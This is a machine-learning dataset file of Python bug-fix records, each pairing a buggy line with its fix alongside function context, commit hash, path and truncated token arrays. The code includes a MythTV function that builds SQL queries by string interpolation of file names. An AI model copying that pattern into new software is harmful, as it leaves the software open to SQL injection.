[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1440, 7387, 12, 2890, 16, 3895, 4672, 3536, 2503, 353, 2566, 635, 279, 4322, 358, 9276, 584, 716, 326, 3012, 5918, 1440, 1703, 5951, 487, 10247, 487, 3323, 18, 1021, 1338, 1237, 353, 392...
def load(self): '''Read the Message substance from the file''' if options["globals", "verbose"]: print 'loading', self.file_name pn = self.pathname() try: fp = gzip.open(pn, 'rb') except IOError, e: if e.errno != errno.ENOENT: raise else: self.setSubstance(fp.read()) fp.close()
def create(self, key, directory): '''Create a message object from a filename in a directory'''
c7fe7401259b53c07eba9ae52846bc6660ab7dc3 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/6126/c7fe7401259b53c07eba9ae52846bc6660ab7dc3/FileCorpus.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 752, 12, 2890, 16, 498, 16, 1867, 4672, 9163, 1684, 279, 883, 733, 628, 279, 1544, 316, 279, 1867, 26418, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 752, 12, 2890, 16, 498, 16, 1867, 4672, 9163, 1684, 279, 883, 733, 628, 279, 1544, 316, 279, 1867, 26418, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100,...
langs = mlist.GetAvailableLanguages() langnames = [_(Utils.GetLanguageDescr(L)) for L in langs] try: langi = langs.index(mlist.preferred_language) except ValueError: langi = 0
def GetConfigInfo(self, mlist): WIDTH = mm_cfg.TEXTFIELDWIDTH
5112d15088f2eb36e4ea6c06178430662af1adb3 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/2120/5112d15088f2eb36e4ea6c06178430662af1adb3/General.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 26666, 966, 12, 2890, 16, 312, 1098, 4672, 22631, 273, 9740, 67, 7066, 18, 5151, 6776, 10023, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 26666, 966, 12, 2890, 16, 312, 1098, 4672, 22631, 273, 9740, 67, 7066, 18, 5151, 6776, 10023, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, ...
vmax = normalizer.inverse(+1.1)
else: vmax = 0.1 * (vmax - vmin) + vmax
def show_colorscale(self, vmin=None, vmid=None, vmax=None, \ pmin=0.25, pmax=99.75, stretch='linear', exponent=2, cmap='default'): ''' Show a colorscale image of the FITS file
9ca2018c89f0799fae902cd50ed274f111e89de5 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/13232/9ca2018c89f0799fae902cd50ed274f111e89de5/aplpy.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2405, 67, 9724, 1869, 12, 2890, 16, 17501, 33, 7036, 16, 4268, 350, 33, 7036, 16, 17831, 33, 7036, 16, 521, 293, 1154, 33, 20, 18, 2947, 16, 293, 1896, 33, 2733, 18, 5877, 16, 31435,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2405, 67, 9724, 1869, 12, 2890, 16, 17501, 33, 7036, 16, 4268, 350, 33, 7036, 16, 17831, 33, 7036, 16, 521, 293, 1154, 33, 20, 18, 2947, 16, 293, 1896, 33, 2733, 18, 5877, 16, 31435,...
_fl_XEventsQueued = cfuncproto(so_libforms, "fl_XEventsQueued", cty.c_int, [cty.c_int],
_fl_XEventsQueued = cfuncproto(so_libforms, "fl_XEventsQueued", cty.c_int, [cty.c_int],
def fl_XPeekEvent(xev): """ fl_XPeekEvent(xev) -> event num. """ retval = _fl_XPeekEvent(xev) return retval
9942dac8ce2b35a1e43615a26fd8e7054ef805d3 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/2429/9942dac8ce2b35a1e43615a26fd8e7054ef805d3/xformslib.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1183, 67, 60, 30950, 1133, 12, 6554, 90, 4672, 3536, 1183, 67, 60, 30950, 1133, 12, 6554, 90, 13, 317, 871, 818, 18, 3536, 225, 5221, 273, 389, 2242, 67, 60, 30950, 1133, 12, 6554, 9...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1183, 67, 60, 30950, 1133, 12, 6554, 90, 4672, 3536, 1183, 67, 60, 30950, 1133, 12, 6554, 90, 13, 317, 871, 818, 18, 3536, 225, 5221, 273, 389, 2242, 67, 60, 30950, 1133, 12, 6554, 9...
TESTS:
TESTS::
def plot3d(self): r""" TESTS:
e24dd3c62ad1f440792ccb94718bf5873e280f2a /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/9417/e24dd3c62ad1f440792ccb94718bf5873e280f2a/arc.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3207, 23, 72, 12, 2890, 4672, 436, 8395, 22130, 55, 30, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3207, 23, 72, 12, 2890, 4672, 436, 8395, 22130, 55, 30, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -...
node.appendChild(infoDOM.createTextNode(record[2]))
node.appendChild(infoDOM.createTextNode(unicode(record[2], "UTF-8")))
def getFileInformation(file, outputfile): impl = xml.dom.minidom.getDOMImplementation() infoDOM = impl.createDocument(None, "fileinfo", None) top_element = infoDOM.documentElement # if the jobfile has amended file details use them details = file.getElementsByTagName("details") if details.length > 0: node = infoDOM.createElement("type") node.appendChild(infoDOM.createTextNode(file.attributes["type"].value)) top_element.appendChild(node) node = infoDOM.createElement("filename") node.appendChild(infoDOM.createTextNode(file.attributes["filename"].value)) top_element.appendChild(node) node = infoDOM.createElement("title") node.appendChild(infoDOM.createTextNode(details[0].attributes["title"].value)) top_element.appendChild(node) node = infoDOM.createElement("recordingdate") node.appendChild(infoDOM.createTextNode(details[0].attributes["startdate"].value)) top_element.appendChild(node) node = infoDOM.createElement("recordingtime") node.appendChild(infoDOM.createTextNode(details[0].attributes["starttime"].value)) top_element.appendChild(node) node = infoDOM.createElement("subtitle") node.appendChild(infoDOM.createTextNode(details[0].attributes["subtitle"].value)) top_element.appendChild(node) node = infoDOM.createElement("description") node.appendChild(infoDOM.createTextNode(getText(details[0]))) top_element.appendChild(node) node = infoDOM.createElement("rating") node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) node = infoDOM.createElement("coverfile") node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) #FIXME: add cutlist to details? node = infoDOM.createElement("cutlist") node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) #recorded table contains #progstart, stars, cutlist, category, description, subtitle, title, chanid #2005-12-20 00:00:00, 0.0, elif file.attributes["type"].value=="recording": # we need two versions of this depending on what db version we are using sqlstatement = """SELECT progstart, stars, cutlist, category, description, subtitle, title, starttime, chanid FROM recorded WHERE basename = '%s'""" % file.attributes["filename"].value # connect db = getDatabaseConnection() # create a cursor cursor = db.cursor() # execute SQL statement cursor.execute(sqlstatement) # get the resultset as a tuple result = cursor.fetchall() # get the number of rows in the resultset numrows = int(cursor.rowcount) #We must have exactly 1 row returned for this recording if numrows!=1: fatalError("Failed to get recording details from the DB for %s" % file.attributes["filename"].value) # iterate through resultset for record in result: #write( record[0] , "-->", record[1], record[2], record[3]) write( " " + record[6]) #Create an XML DOM to hold information about this video file node = infoDOM.createElement("type") node.appendChild(infoDOM.createTextNode(file.attributes["type"].value)) top_element.appendChild(node) node = infoDOM.createElement("filename") node.appendChild(infoDOM.createTextNode(file.attributes["filename"].value)) top_element.appendChild(node) node = infoDOM.createElement("title") node.appendChild(infoDOM.createTextNode(record[6])) top_element.appendChild(node) #date time is returned as 2005-12-19 00:15:00 recdate=time.strptime( "%s" % record[0],"%Y-%m-%d %H:%M:%S") node = infoDOM.createElement("recordingdate") node.appendChild(infoDOM.createTextNode( time.strftime(dateformat,recdate) )) top_element.appendChild(node) node = infoDOM.createElement("recordingtime") node.appendChild(infoDOM.createTextNode( time.strftime(timeformat,recdate))) top_element.appendChild(node) node = infoDOM.createElement("subtitle") node.appendChild(infoDOM.createTextNode(record[5])) top_element.appendChild(node) node = infoDOM.createElement("description") node.appendChild(infoDOM.createTextNode(record[4])) top_element.appendChild(node) node = infoDOM.createElement("rating") node.appendChild(infoDOM.createTextNode("%s" % record[1])) top_element.appendChild(node) node = infoDOM.createElement("coverfile") node.appendChild(infoDOM.createTextNode("")) #node.appendChild(infoDOM.createTextNode(record[8])) top_element.appendChild(node) node = infoDOM.createElement("chanid") node.appendChild(infoDOM.createTextNode("%s" % record[8])) top_element.appendChild(node) #date time is returned as 2005-12-19 00:15:00 recdate=time.strptime( "%s" % record[7],"%Y-%m-%d %H:%M:%S") node = infoDOM.createElement("starttime") node.appendChild(infoDOM.createTextNode( time.strftime("%Y-%m-%dT%H:%M:%S", recdate))) top_element.appendChild(node) starttime = record[7] chanid = record[8] # find the cutlist if available sqlstatement = """SELECT mark, type FROM recordedmarkup WHERE chanid = '%s' AND starttime = '%s' AND type IN (0,1) ORDER BY mark""" % (chanid, starttime) cursor = db.cursor() # execute SQL statement cursor.execute(sqlstatement) if cursor.rowcount > 0: node = infoDOM.createElement("hascutlist") node.appendChild(infoDOM.createTextNode("yes")) top_element.appendChild(node) else: node = infoDOM.createElement("hascutlist") node.appendChild(infoDOM.createTextNode("no")) top_element.appendChild(node) db.close() del db del cursor elif file.attributes["type"].value=="video": sqlstatement="""select title, director, plot, rating, inetref, year, userrating, length, coverfile from videometadata where filename='%s'""" % os.path.join(videopath, file.attributes["filename"].value) # connect db = getDatabaseConnection() # create a cursor cursor = db.cursor() # execute SQL statement cursor.execute(sqlstatement) # get the resultset as a tuple result = cursor.fetchall() # get the number of rows in the resultset numrows = int(cursor.rowcount) #title,director,plot,rating,inetref,year,userrating,length,coverfile #We must have exactly 1 row returned for this recording if numrows<>1: #Theres no record in the database so use a dummy row so we dont die! #title,director,plot,rating,inetref,year,userrating,length,coverfile record = file.attributes["filename"].value, "","",0,"","",0,0,"" for record in result: write( " " + record[0]) node = infoDOM.createElement("type") node.appendChild(infoDOM.createTextNode(file.attributes["type"].value)) top_element.appendChild(node) node = infoDOM.createElement("filename") node.appendChild(infoDOM.createTextNode(file.attributes["filename"].value)) top_element.appendChild(node) node = infoDOM.createElement("title") node.appendChild(infoDOM.createTextNode(record[0])) top_element.appendChild(node) node = infoDOM.createElement("recordingdate") node.appendChild(infoDOM.createTextNode("%s" % record[5])) top_element.appendChild(node) node = infoDOM.createElement("recordingtime") #node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) node = infoDOM.createElement("subtitle") #node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) node = infoDOM.createElement("description") node.appendChild(infoDOM.createTextNode(record[2])) top_element.appendChild(node) node = infoDOM.createElement("rating") node.appendChild(infoDOM.createTextNode("%s" % record[6])) top_element.appendChild(node) node = infoDOM.createElement("cutlist") #node.appendChild(infoDOM.createTextNode(record[2])) top_element.appendChild(node) node = infoDOM.createElement("coverfile") if record[8]!="" and record[8]!="No Cover": node.appendChild(infoDOM.createTextNode(record[8])) top_element.appendChild(node) db.close() del db del cursor elif file.attributes["type"].value=="file": node = infoDOM.createElement("type") node.appendChild(infoDOM.createTextNode(file.attributes["type"].value)) top_element.appendChild(node) node = infoDOM.createElement("filename") node.appendChild(infoDOM.createTextNode(file.attributes["filename"].value)) top_element.appendChild(node) node = infoDOM.createElement("title") node.appendChild(infoDOM.createTextNode(file.attributes["filename"].value)) top_element.appendChild(node) node = infoDOM.createElement("recordingdate") node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) node = infoDOM.createElement("recordingtime") node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) node = infoDOM.createElement("subtitle") node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) node = infoDOM.createElement("description") node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) node = infoDOM.createElement("rating") node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) node = infoDOM.createElement("cutlist") node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) node = infoDOM.createElement("coverfile") node.appendChild(infoDOM.createTextNode("")) top_element.appendChild(node) WriteXMLToFile (infoDOM, outputfile)
39c542873f44326f4fa0b9bf847b8e69338e2164 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/13713/39c542873f44326f4fa0b9bf847b8e69338e2164/mythburn.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 6034, 5369, 12, 768, 16, 876, 768, 4672, 9380, 273, 2025, 18, 9859, 18, 1154, 350, 362, 18, 588, 8168, 13621, 1435, 1123, 8168, 273, 9380, 18, 2640, 2519, 12, 7036, 16, 315, 768, 1376,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 6034, 5369, 12, 768, 16, 876, 768, 4672, 9380, 273, 2025, 18, 9859, 18, 1154, 350, 362, 18, 588, 8168, 13621, 1435, 1123, 8168, 273, 9380, 18, 2640, 2519, 12, 7036, 16, 315, 768, 1376,...
super(Preview, self).__init__(parent, style= wx.BORDER)
super(Preview, self).__init__(parent, style=wx.SUNKEN_BORDER)
def __init__(self, parent): super(Preview, self).__init__(parent, style= wx.BORDER) # Will it be white? self.select_on = False self._init_ui() self._bind_events()
47febb45edce5483b68db9c0d9e0e9a439300947 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/10228/47febb45edce5483b68db9c0d9e0e9a439300947/dicom_preview_panel.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 982, 4672, 2240, 12, 11124, 16, 365, 2934, 972, 2738, 972, 12, 2938, 16, 2154, 33, 27226, 18, 55, 16141, 1157, 67, 38, 7954, 13, 468, 9980, 518, 506, 9...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 982, 4672, 2240, 12, 11124, 16, 365, 2934, 972, 2738, 972, 12, 2938, 16, 2154, 33, 27226, 18, 55, 16141, 1157, 67, 38, 7954, 13, 468, 9980, 518, 506, 9...
random_seed=None, use_mp=None, verbose3=False):
random_seed=None, use_mp=None, verbose3=False, forever=False):
def main(tests=None, testdir=None, verbose=0, quiet=False, exclude=False, single=False, randomize=False, fromfile=None, findleaks=False, use_resources=None, trace=False, coverdir='coverage', runleaks=False, huntrleaks=False, verbose2=False, print_slow=False, random_seed=None, use_mp=None, verbose3=False): """Execute a test suite. This also parses command-line options and modifies its behavior accordingly. tests -- a list of strings containing test names (optional) testdir -- the directory in which to look for tests (optional) Users other than the Python test suite will certainly want to specify testdir; if it's omitted, the directory containing the Python test suite is searched for. If the tests argument is omitted, the tests listed on the command-line will be used. If that's empty, too, then all *.py files beginning with test_ will be used. The other default arguments (verbose, quiet, exclude, single, randomize, findleaks, use_resources, trace, coverdir, print_slow and random_seed) allow programmers calling main() directly to set the values that would normally be set by flags on the command line. """ test_support.record_original_stdout(sys.stdout) try: opts, args = getopt.getopt(sys.argv[1:], 'hvgqxsSrf:lu:t:TD:NLR:wWM:j:', ['help', 'verbose', 'verbose2', 'verbose3', 'quiet', 'exclude', 'single', 'slow', 'random', 'fromfile', 'findleaks', 'use=', 'threshold=', 'trace', 'coverdir=', 'nocoverdir', 'runleaks', 'huntrleaks=', 'memlimit=', 'randseed=', 'multiprocess=', 'slaveargs=']) except getopt.error, msg: usage(2, msg) # Defaults if random_seed is None: random_seed = random.randrange(10000000) if use_resources is None: use_resources = [] for o, a in opts: if o in ('-h', '--help'): usage(0) elif o in ('-v', '--verbose'): verbose += 1 elif o in ('-w', '--verbose2'): verbose2 = True elif o in ('-W', '--verbose3'): verbose3 = True elif o in ('-q', '--quiet'): quiet = True; verbose = 0 elif o in ('-x', '--exclude'): exclude = True elif o in ('-s', '--single'): single = True elif o in ('-S', '--slow'): print_slow = True elif o in ('-r', '--randomize'): randomize = True elif o == '--randseed': random_seed = int(a) elif o in ('-f', '--fromfile'): fromfile = a elif o in ('-l', '--findleaks'): findleaks = True elif o in ('-L', '--runleaks'): runleaks = True elif o in ('-t', '--threshold'): import gc gc.set_threshold(int(a)) elif o in ('-T', '--coverage'): trace = True elif o in ('-D', '--coverdir'): coverdir = os.path.join(os.getcwd(), a) elif o in ('-N', '--nocoverdir'): coverdir = None elif o in ('-R', '--huntrleaks'): huntrleaks = a.split(':') if len(huntrleaks) != 3: print a, huntrleaks usage(2, '-R takes three colon-separated arguments') if len(huntrleaks[0]) == 0: huntrleaks[0] = 5 else: huntrleaks[0] = int(huntrleaks[0]) if len(huntrleaks[1]) == 0: huntrleaks[1] = 4 else: huntrleaks[1] = int(huntrleaks[1]) if len(huntrleaks[2]) == 0: huntrleaks[2] = "reflog.txt" elif o in ('-M', '--memlimit'): test_support.set_memlimit(a) elif o in ('-u', '--use'): u = [x.lower() for x in a.split(',')] for r in u: if r == 'all': use_resources[:] = RESOURCE_NAMES continue remove = False if r[0] == '-': remove = True r = r[1:] if r not in RESOURCE_NAMES: usage(1, 'Invalid -u/--use option: ' + a) if remove: if r in use_resources: use_resources.remove(r) elif r not in use_resources: use_resources.append(r) elif o in ('-j', '--multiprocess'): use_mp = int(a) elif o == '--slaveargs': args, kwargs = json.loads(a) try: result = runtest(*args, **kwargs) except BaseException, e: result = INTERRUPTED, e.__class__.__name__ print # Force a newline (just in case) print json.dumps(result) sys.exit(0) if single and fromfile: usage(2, "-s and -f don't go together!") if use_mp and trace: usage(2, "-T and -j don't go together!") if use_mp and findleaks: usage(2, "-l and -j don't go together!") good = [] bad = [] skipped = [] resource_denieds = [] environment_changed = [] if findleaks: try: import gc except ImportError: print 'No GC available, disabling findleaks.' findleaks = False else: # Uncomment the line below to report garbage that is not # freeable by reference counting alone. By default only # garbage that is not collectable by the GC is reported. #gc.set_debug(gc.DEBUG_SAVEALL) found_garbage = [] if single: from tempfile import gettempdir filename = os.path.join(gettempdir(), 'pynexttest') try: fp = open(filename, 'r') next = fp.read().strip() tests = [next] fp.close() except IOError: pass if fromfile: tests = [] fp = open(fromfile) for line in fp: guts = line.split() # assuming no test has whitespace in its name if guts and not guts[0].startswith('#'): tests.extend(guts) fp.close() # Strip .py extensions. if args: args = map(removepy, args) if tests: tests = map(removepy, tests) stdtests = STDTESTS[:] nottests = NOTTESTS[:] if exclude: for arg in args: if arg in stdtests: stdtests.remove(arg) nottests[:0] = args args = [] tests = tests or args or findtests(testdir, stdtests, nottests) if single: tests = tests[:1] if randomize: random.seed(random_seed) print "Using random seed", random_seed random.shuffle(tests) if trace: import trace tracer = trace.Trace(ignoredirs=[sys.prefix, sys.exec_prefix], trace=False, count=True) test_times = [] test_support.use_resources = use_resources save_modules = sys.modules.keys() def accumulate_result(test, result): ok, test_time = result test_times.append((test_time, test)) if ok == PASSED: good.append(test) elif ok == FAILED: bad.append(test) elif ok == ENV_CHANGED: bad.append(test) environment_changed.append(test) elif ok == SKIPPED: skipped.append(test) elif ok == RESOURCE_DENIED: skipped.append(test) resource_denieds.append(test) if use_mp: from threading import Thread from Queue import Queue, Empty from subprocess import Popen, PIPE, STDOUT from collections import deque debug_output_pat = re.compile(r"\[\d+ refs\]$") pending = deque() output = Queue() for test in tests: args_tuple = ( (test, verbose, quiet, testdir), dict(huntrleaks=huntrleaks, use_resources=use_resources) ) pending.append((test, args_tuple)) def work(): # A worker thread. try: while True: try: test, args_tuple = pending.popleft() except IndexError: output.put((None, None, None, None)) return # -E is needed by some tests, e.g. test_import popen = Popen([sys.executable, '-E', '-m', 'test.regrtest', '--slaveargs', json.dumps(args_tuple)], stdout=PIPE, stderr=PIPE, universal_newlines=True, close_fds=True) stdout, stderr = popen.communicate() # Strip last refcount output line if it exists, since it # comes from the shutdown of the interpreter in the subcommand. stderr = debug_output_pat.sub("", stderr) stdout, _, result = stdout.strip().rpartition("\n") result = json.loads(result) if not quiet: stdout = test+'\n'+stdout output.put((test, stdout.rstrip(), stderr.rstrip(), result)) except BaseException: output.put((None, None, None, None)) raise workers = [Thread(target=work) for i in range(use_mp)] for worker in workers: worker.start() finished = 0 while finished < use_mp: test, stdout, stderr, result = output.get() if test is None: finished += 1 continue if stdout: print stdout if stderr: print >>sys.stderr, stderr if result[0] == INTERRUPTED: assert result[1] == 'KeyboardInterrupt' pending.clear() raise KeyboardInterrupt # What else? accumulate_result(test, result) for worker in workers: worker.join() else: for test in tests: if not quiet: print test sys.stdout.flush() if trace: # If we're tracing code coverage, then we don't exit with status # if on a false return value from main. tracer.runctx('runtest(test, verbose, quiet, testdir)', globals=globals(), locals=vars()) else: try: result = runtest(test, verbose, quiet, testdir, huntrleaks) accumulate_result(test, result) if verbose3 and result[0] == FAILED: print "Re-running test %r in verbose mode" % test runtest(test, True, quiet, testdir, huntrleaks) except KeyboardInterrupt: # print a newline separate from the ^C print break except: raise if findleaks: gc.collect() if gc.garbage: print "Warning: test created", len(gc.garbage), print "uncollectable object(s)." # move the uncollectable objects somewhere so we don't see # them again found_garbage.extend(gc.garbage) del gc.garbage[:] # Unload the newly imported modules (best effort finalization) for module in sys.modules.keys(): if module not in save_modules and module.startswith("test."): test_support.unload(module) # The lists won't be sorted if running with -r good.sort() bad.sort() skipped.sort() environment_changed.sort() if good and not quiet: if not bad and not skipped and len(good) > 1: print "All", print count(len(good), "test"), "OK." if print_slow: test_times.sort(reverse=True) print "10 slowest tests:" for time, test in test_times[:10]: print "%s: %.1fs" % (test, time) if bad: bad = set(bad) - set(environment_changed) if bad: print count(len(bad), "test"), "failed:" printlist(bad) if environment_changed: print "{} altered the execution environment:".format( count(len(environment_changed), "test")) printlist(environment_changed) if skipped and not quiet: print count(len(skipped), "test"), "skipped:" printlist(skipped) e = _ExpectedSkips() plat = sys.platform if e.isvalid(): surprise = set(skipped) - e.getexpected() - set(resource_denieds) if surprise: print count(len(surprise), "skip"), \ "unexpected on", plat + ":" printlist(surprise) else: print "Those skips are all expected on", plat + "." else: print "Ask someone to teach regrtest.py about which tests are" print "expected to get skipped on", plat + "." if verbose2 and bad: print "Re-running failed tests in verbose mode" for test in bad: print "Re-running test %r in verbose mode" % test sys.stdout.flush() try: test_support.verbose = True ok = runtest(test, True, quiet, testdir, huntrleaks) except KeyboardInterrupt: # print a newline separate from the ^C print break except: raise if single: alltests = findtests(testdir, stdtests, nottests) for i in range(len(alltests)): if tests[0] == alltests[i]: if i == len(alltests) - 1: os.unlink(filename) else: fp = open(filename, 'w') fp.write(alltests[i+1] + '\n') fp.close() break else: os.unlink(filename) if trace: r = tracer.results() r.write_results(show_missing=True, summary=True, coverdir=coverdir) if runleaks: os.system("leaks %d" % os.getpid()) sys.exit(len(bad) > 0)
7f7eea651f558297ac91d376c8dce462eefef0f3 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/8546/7f7eea651f558297ac91d376c8dce462eefef0f3/regrtest.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2774, 12, 16341, 33, 7036, 16, 1842, 1214, 33, 7036, 16, 3988, 33, 20, 16, 10902, 33, 8381, 16, 4433, 33, 8381, 16, 2202, 33, 8381, 16, 2744, 554, 33, 8381, 16, 628, 768, 33, 7036, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2774, 12, 16341, 33, 7036, 16, 1842, 1214, 33, 7036, 16, 3988, 33, 20, 16, 10902, 33, 8381, 16, 4433, 33, 8381, 16, 2202, 33, 8381, 16, 2744, 554, 33, 8381, 16, 628, 768, 33, 7036, ...
if not bonus: bonus = 1
def potioncountdown( potion, args ): counter = args[1] bonus = args[2] if potion: if not bonus: bonus = 1 if counter >= 0: if counter > 0: if (counter - 1) > 0: potion.say("%u" % (counter - 1)) counter -= 1 potion.addtimer( 0, "potions.potionexplosion", [ args[0], counter, bonus ] ) return
143e0ea045e4e7382cb3250d86e1ae2232e02e9f /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/2534/143e0ea045e4e7382cb3250d86e1ae2232e02e9f/potions.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 5974, 285, 1883, 2378, 12, 5974, 285, 16, 833, 262, 30, 3895, 273, 833, 63, 21, 65, 324, 22889, 273, 833, 63, 22, 65, 309, 5974, 285, 30, 309, 3895, 1545, 374, 30, 309, 3895, 405, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 5974, 285, 1883, 2378, 12, 5974, 285, 16, 833, 262, 30, 3895, 273, 833, 63, 21, 65, 324, 22889, 273, 833, 63, 22, 65, 309, 5974, 285, 30, 309, 3895, 1545, 374, 30, 309, 3895, 405, ...
self.waitingThreads[currentId] = (conditionObject, listTid, time.time())
self.waitingThreads[currentId] = (conditionObject, listTid, time.time(), [None])
def _apply(self, function, args, kwargs): # Fonction qui permet de regrouper apply() et apply_async() currentId = threading.currentThread().tid conditionObject = threading.currentThread().waitingCondition
bd5898fa617db5dcbb12a57b6fc696ab5256a338 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/7315/bd5898fa617db5dcbb12a57b6fc696ab5256a338/taskmanager.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 9010, 12, 2890, 16, 445, 16, 833, 16, 1205, 4672, 468, 478, 265, 349, 719, 77, 4641, 278, 443, 960, 656, 264, 2230, 1435, 3393, 2230, 67, 3810, 1435, 783, 548, 273, 17254, 18, 2...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0...
